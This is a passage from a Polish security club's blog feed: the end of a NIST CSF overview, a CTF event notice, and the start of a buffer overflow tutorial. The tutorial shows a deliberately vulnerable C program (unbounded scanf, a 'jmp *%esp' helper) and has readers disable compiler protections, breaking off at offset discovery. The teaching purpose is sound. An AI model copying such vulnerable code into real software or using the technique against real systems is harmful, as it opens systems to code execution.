&lt;em>Mała firma technologiczna, która nigdy nie wdrażała formalnych procedur cyberbezpieczeństwa, może zaklasyfikować się na poziomie Tier 1 (Częściowy). Organizacja posiadająca już podstawowe procedury, choć niestosowane konsekwentnie, może znajdować się na poziomie Tier 2 (Świadomość ryzyka). Duże korporacje, dysponujące ustandaryzowanymi i powtarzalnymi procesami, dążą zazwyczaj do poziomu Tier 3 (Powtarzalny) lub nawet Tier 4 (Adaptacyjny), jeśli potrafią dynamicznie reagować na zmieniające się zagrożenia.&lt;/em>&lt;/p>
&lt;h3>2. Stworzenie profilu ramowego dostosowanego do potrzeb organizacji&lt;span class="hx:absolute hx:-mt-20" id="2-stworzenie-profilu-ramowego-dostosowanego-do-potrzeb-organizacji">&lt;/span>
&lt;a href="#2-stworzenie-profilu-ramowego-dostosowanego-do-potrzeb-organizacji" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Na tym etapie opracowuje się profil bezpieczeństwa odpowiadający specyfice organizacji. Obejmuje on plan działania, identyfikację priorytetów oraz porównanie ich z aktualnym poziomem bezpieczeństwa. Pozwala to wskazać luki i określić poprawki, które wymagają natychmiastowego wdrożenia.
Równocześnie warto zaplanować potrzebne zasoby – zarówno kadrowe jak i budżetowe – konieczne do realizacji wyznaczonych celów. Kluczowa na tym etapie jest ścisła współpraca z zarządem.
&lt;em>&lt;strong>Przykład:&lt;/strong>&lt;/em>
&lt;em>Firma z sektora finansowego może skupić się na funkcji&lt;/em> &lt;em>&lt;strong>Identify (Identyfikacja)&lt;/strong>&lt;/em>&lt;em>, by precyzyjnie zmapować zasoby oraz zagrożenia. Z kolei dostawca usług chmurowych powinien położyć szczególny nacisk na funkcję&lt;/em> &lt;em>&lt;strong>Protect (Ochrona)&lt;/strong>&lt;/em>&lt;em>, wdrażając silne mechanizmy szyfrowania i kontroli dostępu.&lt;/em>&lt;/p>
&lt;h3>3. Wdrożenie rekomendacji z Framework Core&lt;span class="hx:absolute hx:-mt-20" id="3-wdrożenie-rekomendacji-z-framework-core">&lt;/span>
&lt;a href="#3-wdro%c5%bcenie-rekomendacji-z-framework-core" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>To kluczowy etap, polegający na realizacji wcześniej opracowanego planu rozwoju cyberbezpieczeństwa w organizacji. Działania te obejmują implementację konkretnych funkcji, kategorii oraz podkategorii wskazanych we Framework Core.
W trakcie wdrażania planu istotne jest prowadzenie regularnych spotkań – comiesięcznych oraz kwartalnych – zarówno z pracownikami jak i z zarządem. Pozwala to monitorować postęp prac, wprowadzać ewentualne korekty oraz zapewnić zaangażowanie wszystkich kluczowych interesariuszy.
&lt;em>&lt;strong>Przykład:&lt;/strong>&lt;/em>
&lt;em>Organizacja może wdrożyć konkretną podkategorię CSF, np.&lt;/em> &lt;em>&lt;strong>DE.AE-3&lt;/strong>&lt;/em> &lt;em>(„Generowane alerty są analizowane w celu określenia ich potencjalnego wpływu”), poprzez implementację systemu SIEM (Security Information and Event Management), który umożliwia monitorowanie zdarzeń w sieci oraz analizę wykrytych alertów.&lt;/em>&lt;/p>
&lt;h3>4. Monitorowanie i dostosowywanie strategii zgodnie z ewoluującymi zagrożeniami&lt;span class="hx:absolute hx:-mt-20" id="4-monitorowanie-i-dostosowywanie-strategii-zgodnie-z-ewoluującymi-zagrożeniami">&lt;/span>
&lt;a href="#4-monitorowanie-i-dostosowywanie-strategii-zgodnie-z-ewoluuj%c4%85cymi-zagro%c5%bceniami" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Monitorowanie to nieodłączny element podejścia NIST CSF. Po wdrożeniu zaplanowanych poprawek organizacja powinna nieustannie oceniać ich skuteczność i efektywność. Regularna analiza wyników, zestawiona z opiniami pracowników, pozwala na bieżące doskonalenie strategii bezpieczeństwa.
Ten etap nie ma charakteru końcowego — ramy NIST CSF funkcjonują w modelu pętli zwrotnej. Na podstawie zebranych danych oraz porównania ich z wartościami początkowymi można ponownie przeprowadzić ocenę poziomu bezpieczeństwa, oraz zaplanować i wdrożyć kolejne zmiany lub nowe środki ochrony.
&lt;em>&lt;strong>Przykład:&lt;/strong>&lt;/em>
&lt;em>Organizacja może cyklicznie przeprowadzać symulacje cyberataków (tzw. &lt;strong>Red Team/Blue Team exercises&lt;/strong>), aby sprawdzić, jak jej systemy reagują na realne zagrożenia. Wyniki takich ćwiczeń mogą wskazać obszary wymagające poprawy i stać się podstawą do modyfikacji istniejących zabezpieczeń.&lt;/em>&lt;/p>
&lt;h2>&lt;strong>Podsumowanie – co dalej?&lt;/strong>&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie--co-dalej">&lt;/span>
&lt;a href="#podsumowanie--co-dalej" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>NIST CSF to potężne narzędzie wspierające organizacje w zarządzaniu cyberbezpieczeństwem. Jego elastyczność pozwala dostosować go do potrzeb zarówno małych firm jak i dużych korporacji oraz instytucji rządowych. Warto jednak pamiętać, że NIST CSF nie jest metodą audytu, lecz bardziej przewodnikiem, który ułatwia proces wdrażania poprawek w zabezpieczeniach.&lt;/p>
&lt;p>Jeśli zainteresował Cię NIST CSF, polecam również zapoznać się z innym istotnym standardem opracowanym przez NIST, czyli Risk Management Framework (RMF), który koncentruje się na zarządzaniu ryzykiem w organizacji. W kolejnym artykule z cyklu „&lt;strong>Przeczytałem …, abyście Wy nie musieli&lt;/strong>” przybliżę temat tego frameworku, jego zastosowania oraz kluczowe zasady.&lt;/p>
&lt;h2>Źródła&lt;span class="hx:absolute hx:-mt-20" id="źródła">&lt;/span>
&lt;a href="#%c5%bar%c3%b3d%c5%82a" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>&lt;a href="https://www.nist.gov/cyberframework"target="_blank" rel="noopener">NIST Cybersecurity Framework&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.29.pdf"target="_blank" rel="noopener">The NIST Cybersecurity Framework (CSF) 2.0&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/NIST_Cybersecurity_Framework"target="_blank" rel="noopener">Wikipedia NIST Cybersecurity Framework&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://csf.tools/"target="_blank" rel="noopener">CSF Tools&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Break The Syntax CTF 2025</title><link>https://whitehats.pwr.edu.pl/blog/2025-05-11-bts-6th-edition/</link><pubDate>Sun, 11 May 2025 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2025-05-11-bts-6th-edition/</guid><description>
&lt;figure class="align-center">
&lt;img fetchpriority="high" src="./bts25-poster.png">
&lt;figcaption>Break The Syntax 2025&lt;/figcaption>
&lt;/figure>
&lt;h2>[PL] Break the Syntax 2025&lt;span class="hx:absolute hx:-mt-20" id="pl-break-the-syntax-2025">&lt;/span>
&lt;a href="#pl-break-the-syntax-2025" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Szósta edycja Break The Syntax w 2025 roku trwała 42 godziny. Rozpoczęła się w piątek 09.05.2025 18:00 i trwała aż do niedzieli 11.05 12:00. Głównym partnerem całego wydarzenia po raz kolejny została firma EY. Zgromadziliśmy w formie stacjonarnej 21 drużyn. Łącznie z uczestnikami online, aż 484 drużyn rozwiązało chociaż jedno zadanie. To znacznie większa aktywność niż w ubiegłym roku. Dziękujemy!&lt;/p>
&lt;p>Writeupy &lt;a href="https://github.com/PWrWhiteHats/BtS-2025-Writeups"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>[ENG] Break the Syntax 2025&lt;span class="hx:absolute hx:-mt-20" id="eng-break-the-syntax-2025">&lt;/span>
&lt;a href="#eng-break-the-syntax-2025" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>The sixth edition of Break The Syntax in 2025 lasted 42 hours. It started on Friday, May 09, 2025 6:00 p.m. and lasted until Sunday, May 11 12:00 p.m. The main partner of the entire event was once again EY. There were 21 teams participating on-site. Including online participants, there were 484 teams that solved at least one challenge. This is much more activity than last year. Thank you!&lt;/p>
&lt;p>Writeups &lt;a href="https://github.com/PWrWhiteHats/BtS-2025-Writeups"target="_blank" rel="noopener">here&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p></description></item><item><title>Stack based buffer overflow</title><link>https://whitehats.pwr.edu.pl/blog/2025-04-11-buffer-overflow/</link><pubDate>Fri, 11 Apr 2025 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2025-04-11-buffer-overflow/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2025-04-11-buffer-overflow/background_hu_68bf674e4b957b68.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Buffer overflow to powszechnie znana podatność wśród ludzi zainteresowanych
cyberbezpieczeństwem oraz programistów. Błędy, takie jak “Segmentation fault” lub
“Access violation” są skutkiem złego zarządzania pamięcią,
a także świadczą o poważnych lukach bezpieczeństwa. W bazach podatności CVE
co jakiś czas pojawiają się nowe, krytyczne luki z hasłem &amp;ldquo;buffer overflow&amp;rdquo; w opisie
(&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2023-41028"target="_blank" rel="noopener">CVE-2023-41028&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>,
&lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-6888"target="_blank" rel="noopener">CVE-2023-6888&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>,
&lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-6314"target="_blank" rel="noopener">CVE-2023-6314&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>,
&lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-7024"target="_blank" rel="noopener">CVE-2023-7024&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>).&lt;/p>
&lt;h2>Co to jest?&lt;span class="hx:absolute hx:-mt-20" id="co-to-jest">&lt;/span>
&lt;a href="#co-to-jest" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Czym tak właściwie jest atak wykorzystujący buffer overflow? Mówiąc ogólnie, jest to technika ataku, która polega na wprowadzeniu do bufora większej ilości danych, niż jest on w stanie pomieścić.
Można przez to zapisać dane do pamięci, do której nie powinniśmy mieć dostępu.
Brzmi to jak coś, co jedynie może doprowadzić do błędu i zakończenia działania
programu, nie mając większego wpływu na bezpieczeństwo
(może poza wpływem na dostępność aplikacji).
Jeśli jednak użyje się tego mechanizmu z odrobiną wiedzy, można znacząco wpłynąć
na bezpieczeństwo całego systemu.&lt;/p>
&lt;p>Możliwe skutki ataku buffer overflow są dość zróżnicowane, ale zwykle są to awarie
aplikacji lub całego systemu operacyjnego, zmiana kolejności wykonywania programu
(np. poprzez wywołanie żądanej funkcji w programie) lub doprowadzenie do wycieku
danych z pamięci. Możliwe staje się również wykonanie własnego kodu poprzez shellcode,
a to umożliwia m.in. przejęcie kontroli nad systemem
(np. uzyskanie uprawnień superużytkownika lub wstrzyknięcie złośliwego oprogramowania).&lt;/p>
&lt;p>Niestety, podczas omawiania buffer overflow nie da się uciec od podstawowej
wiedzy programistycznej i dość technicznych aspektów,
dotyczących struktury pamięci podczas wykonywania programu.&lt;/p>
&lt;h2>Struktura pamięci&lt;span class="hx:absolute hx:-mt-20" id="struktura-pamięci">&lt;/span>
&lt;a href="#struktura-pami%c4%99ci" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>System uruchomi najpierw funkcję main, ale cały program (proces) będzie znajdować się
w pamięci i będzie miał określoną strukturę składającą się z kilku
określonych obszarów, zwykle takich samych dla różnych procesów.&lt;/p>
&lt;p>&lt;img src="./memory.PNG" alt="struktura pamięci" loading="lazy" />&lt;/p>
&lt;p>Zaalokowaną pamięć dla procesu możemy sobie wyobrazić jako blok adresów o
pewnym rozmiarze - większym lub mniejszym w zależności od potrzeb różnych programów.
W tej zaalokowanej pamięci, patrząc od najwyższych adresów, mamy obszary:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>text&lt;/strong> - obszar zawiera kod maszynowy.
Ten obszar pamięci jest zazwyczaj ustawiony w trybie tylko do odczytu i wykonania,&lt;/li>
&lt;li>&lt;strong>data&lt;/strong> - przechowuje zainicjowane zmienne statyczne i globalne,&lt;/li>
&lt;li>&lt;strong>bss&lt;/strong> - przechowuje niezainicjowane zmienne statyczne i globalne,&lt;/li>
&lt;li>&lt;strong>heap (sterta)&lt;/strong> - zawiera dynamicznie tworzone zmienne.
Zwykle, w miarę dodawania nowych danych, ich adresy rosną, jednak nie jest to regułą.
W rzeczywistości zależy to od implementacji środowiska uruchomieniowego lub od zastosowania recyklingu pamięci,&lt;/li>
&lt;li>&lt;strong>stack (stos)&lt;/strong> - zawiera zmienne lokalne oraz dane związane z wywoływaniem funkcji.
Wraz z dodawaniem nowych danych adresowane są malejąco,&lt;/li>
&lt;li>&lt;strong>kernel&lt;/strong> - obszar wykorzystywany przez jądro systemu operacyjnego i oddzielony od przestrzeni użytkownika.&lt;/li>
&lt;/ul>
&lt;h2>Stos&lt;span class="hx:absolute hx:-mt-20" id="stos">&lt;/span>
&lt;a href="#stos" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Ponieważ większość ataków przepełnienia bufora występuje w stosie,
przyjrzyjmy mu się z bliska. Mówiąc ogólnie, stos to struktura danych oparta na
zasadzie LIFO (Last-In-First-Out), co oznacza, że dane, które
umieściliśmy jako ostatnie, zostaną z niego zwolnione
jako pierwsze. Pamięć na stosie jest alokowana liniowo, przechowując dane w jednej,
uporządkowanej sekwencji. To właśnie między innymi dlatego stos jest wykorzystywany do
zarządzania wywołaniami funkcji w programie.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./stack.PNG">
&lt;/figure>
&lt;p>Podczas uruchomienia programu wywoływana jest funkcja main.
W miarę wywoływania nowych funkcji tworzone są ich ramki (stack frame),
które trafiają na stos, a ich adresy są coraz niższe. W ramkach znajdują się m.in.:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>zmienne lokalne&lt;/strong> - zmienne istniejące tylko podczas wykonywania funkcji
i usuwane po jej zakończeniu,&lt;/li>
&lt;li>&lt;strong>Poprzedni EBP/RBP&lt;/strong> - przechowuje wartość rejestru EBP/RBP z poprzedniej ramki stosu,&lt;/li>
&lt;li>&lt;strong>adres powrotny&lt;/strong> - adres instrukcji, jaką należy wykonać
po zakończeniu funkcji (zazwyczaj jest to powrót do funkcji wywołującej),&lt;/li>
&lt;li>&lt;strong>parametry przekazywane do funkcji&lt;/strong>.&lt;/li>
&lt;/ul>
&lt;p>Ważną kwestią związaną z atakami buffer overflow są rejestry procesora.
Przyjrzymy się kilku rejestrom procesora w architekturze x86.
W zależności od tego, czy system jest 64, czy 32-bitowy, rejestry będą się inaczej nazywać.
W 64-bitowym systemie rejestry będą zaczynać się od litery R,
natomiast te w systemach 32-bitowych będą na literę E.
W naszym przypadku najważniejsze są:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>EIP/RIP&lt;/strong> - rejestr przechowujący adres następnej wykonywanej instrukcji,&lt;/li>
&lt;li>&lt;strong>ESP/RSP&lt;/strong> - rejestr wskazuje wierzchołek stosu,&lt;/li>
&lt;li>&lt;strong>EBP/RBP&lt;/strong> - rejestr wskazujący na początek aktualnej ramki.&lt;/li>
&lt;/ul>
&lt;h2>Stack based buffer overflow&lt;span class="hx:absolute hx:-mt-20" id="stack-based-buffer-overflow">&lt;/span>
&lt;a href="#stack-based-buffer-overflow" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Jeśli udało Ci się przebrnąć przez część teoretyczną, gratulacje!
Po tym krótkim wstępie możemy wrócić do głównego bohatera tego artykułu, czyli buffer overflow.&lt;/p>
&lt;p>Przykładowy scenariusz ataku wygląda następująco: mamy pewien program zawierający bufor,
który przechowuje dane wpisane przez użytkownika. Program używa niezabezpieczonej
funkcji scanf, aby pobrać dane i umieścić je w buforze.
Funkcja scanf nie ma żadnych zabezpieczeń sprawdzających, czy doszło
do przekroczenia bufora podczas wpisywania danych (poprzez ustawienie
parametru &lt;em>&lt;strong>%s&lt;/strong>&lt;/em> odczyt znaków będzie trwał aż do napotkania znaku białego).&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">foo&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">buffer&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Enter data: &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">scanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;%s&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buffer&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Your data: %s&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">buffer&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">mal_fun&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">printf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">Execution of a non-called function!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">help_fun&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">asm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;jmp *%esp&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">int&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">foo&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Podczas kompilacji należy ustawić odpowiednie opcje, aby wyłączyć poniższe zabezpieczenia:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Stack canary&lt;/strong> - podstawowe zabezpieczenie przed przepełnieniem bufora.
Jest to dodatkowa wartość dodawana do stosu i zmieniana z każdym uruchomieniem programu.
Przed powrotem z funkcji wartość jest sprawdzana i jeśli doszło do modyfikacji, program jest przerywany,&lt;/li>
&lt;li>&lt;strong>NX (No eXecute) lub DEP (Data Execution Prevention)&lt;/strong> - zabezpieczenie
pozwala oznaczyć obszary pamięci jako przeznaczone tylko na dane,
bez możliwość ich wykonania,&lt;/li>
&lt;li>&lt;strong>PIE (Position Independent Executables)&lt;/strong> - umożliwia randomizację adresów
w pamięci przy każdym uruchomieniu programu.&lt;/li>
&lt;/ul>
&lt;p>Poniższy screen pokazuje, jak wygląda polecenie kompilacji kodu z flagami,
umożliwiającymi wyłączenie zabezpieczeń. W ramach uproszczenia, kod został skompilowany w wersji 32-bitowej.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./compilation.PNG">
&lt;/figure>
&lt;p>W realnym scenariuszu takie ustawienia pliku wykonywalnego raczej się nie zdarzają
i trzeba je obchodzić na różne sposoby, na przykład przy użyciu
ROP (Return Oriented Programming),
&lt;a href="https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc"target="_blank" rel="noopener">Return-to-libc&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>
lub &lt;a href="https://ctf101.org/binary-exploitation/stack-canaries/"target="_blank" rel="noopener">Stack Canary Leaking&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>,
ale celem zrozumienia podstaw możemy trochę uprościć nasz przykład.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./flags.PNG">
&lt;/figure>
&lt;p>W sytuacji, kiedy do bufora wprowadzimy więcej danych, niż jest przewidziane,
istnieje ryzyko awarii programu, szczególnie jeśli te dane zastąpią ważne informacje.
Jeżeli na przykład nadpiszemy adres powrotny danymi, których
nie uda się zinterpretować jako nowy istniejący adres, w pamięci nastąpi awaria.
Jeśli jednak dobrze podmienimy adres powrotny, możemy zmienić przebieg programu,
ponieważ zamiast powrócić do funkcji nadrzędnej
(w tym przypadku main), program wykona instrukcje we wskazanym przez nas miejscu.&lt;/p>
&lt;p>&lt;img src="./overflow.PNG" alt="nadpisanie" loading="lazy" />&lt;/p>
&lt;p>&lt;img src="./fault.PNG" alt="wynik1" loading="lazy" />&lt;/p>
&lt;p>Pierwszym problemem w naszym przykładzie jest to, że dokładne adresy bufora i
adresu powrotnego nie są nam znane, ponieważ są dynamicznie przydzielane
w zależności od dostępnego miejsca w pamięci. Dużym ułatwieniem jest jednak to,
że za każdym razem oba adresy będą oddalone o tą samą liczbę bajtów względem siebie (offset).
Dlatego, żeby zwiększyć uniwersalność naszego ataku, pierwszym etapem powinno być
ustalenie offsetu, który posłuży do zbudowania payloadu. W tym celu możemy użyć &lt;em>&lt;strong>gdb-pwndbg&lt;/strong>&lt;/em>
i polecenia cyclic, żeby wygenerować cykliczny wzór znaków.&lt;/p>
&lt;p>&lt;img src="./cyclic1.PNG" alt="cyclic1" loading="lazy" />&lt;/p>
&lt;p>&lt;img src="./cyclic2.PNG" alt="cyclic2" loading="lazy" />&lt;/p>
&lt;p>&lt;img src="./cyclic3.PNG" alt="cyclic3" loading="lazy" />&lt;/p>
